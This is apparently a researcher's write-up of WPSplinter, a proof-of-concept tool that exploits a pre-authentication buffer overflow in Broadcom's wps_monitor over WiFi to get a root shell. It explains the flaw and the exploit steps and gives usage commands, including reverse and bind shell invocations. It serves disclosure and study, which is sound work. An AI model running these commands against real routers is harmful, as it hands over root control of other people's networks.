WPSplinter PoC - Rooting my router over the air
I developed an exploit for a pre-auth RCE vulnerability in a router widely deployed by Spanish ISPs. With just a WiFi adapter in monitor mode (no password, no PIN) it delivers a root shell.
After making it work, I phoned my ISP and they sent me a newer version :)
Repository: https://github.com/ricardojoserf/WPSplinter
About the vulnerability
WPSplinter is a pre-authentication RCE over WiFi against Broadcom-based routers, built on vulnerability research by Quentin Kaiser.
Broadcom’s wps_monitor daemon has a buffer overflow in its EAP-WSC fragment reassembly: it copies data into a fixed 2048-byte buffer but validates against the attacker-controlled 16-bit declared_len instead of the real buffer size.
Setting declared_len = 0xFFFF bypasses the check, and a second fragment overwrites function pointers. Because the bug is reachable pre-authentication, an attacker within WiFi range gets root code execution without the PIN or any password.
Usage
sudo python3 WPSplinter.py -i <interface> --mode <analyze|check|rce> [options]
| Mode | Description |
|---|---|
| analyze | Scan all nearby networks and check every WPS-enabled AP |
| check | Non-destructive vulnerability check against one AP |
| rce | Exploit - deliver shellcode to the target |
RCE options:
-
Bind shell with
--bindport <PORT>. -
Reverse shell with
--lhost <IP> --lport <PORT>. -
Default (no parameters): Create file
/tmp/wpspwnon the router.
Examples
Scan and check all nearby networks:
sudo python3 WPSplinter.py -i wlan0mon --mode analyze
Check one AP by SSID (-s) or BSSID (-b):
sudo python3 WPSplinter.py -i wlan0mon -s vulnerable --mode check

Bind shell:
sudo python3 WPSplinter.py -i wlan0mon -s vulnerable --mode rce --bindport 1337
Reverse shell:
sudo python3 WPSplinter.py -i wlan0mon -s vulnerable --mode rce --lhost 192.168.1.40 --lport 443


Requirements
-
Linux with a WiFi adapter supporting monitor mode and frame injection
-
Python 3 + Scapy
Target
Developed and tested against MitraStar GPT-2541GNAC after a factory reset.
Other routers running the same Broadcom wps_monitor binary may be exploitable with this same tool: the overflow and struct layout are specific to the binary, not the router model.
How it works
-
Scan: Finds the target AP by BSSID or SSID (hopping across channels 1 to 13 in the 2,4 GHz band).
-
Handshake: Authenticates and associates to the AP with a WPS Information Element, then initiates an EAP-WSC session (EAPOL-Start → EAP-Identity → WSC_Start).
-
Check: Sends a single fragment declaring
declared_len = 0xFFFF. If the AP replies with FRAG_ACK, the bounds check is bypassed and the vulnerability is confirmed. -
RCE: Sends two fragments: the first carries shellcode + fake structs inside the buffer; the second overflows past the buffer to overwrite a function pointer with the shellcode address. The next EAP event triggers execution as root.
Shellcodes are MIPS32 BE and use fork() so the parent wps_monitor exits cleanly while the child runs the payload (reverse shell, bind shell or file creation proof).
Disclaimer
Only use against devices you own or have explicit written permission to test.
This is a buffer overflow so it might crash the wps_monitor service if the binary is different, then you would need to restart the device.
Credits
-
Vulnerability reported by Quentin Kaiser.
-
Affected devices: https://qkaiser.github.io/broadcom-wps/.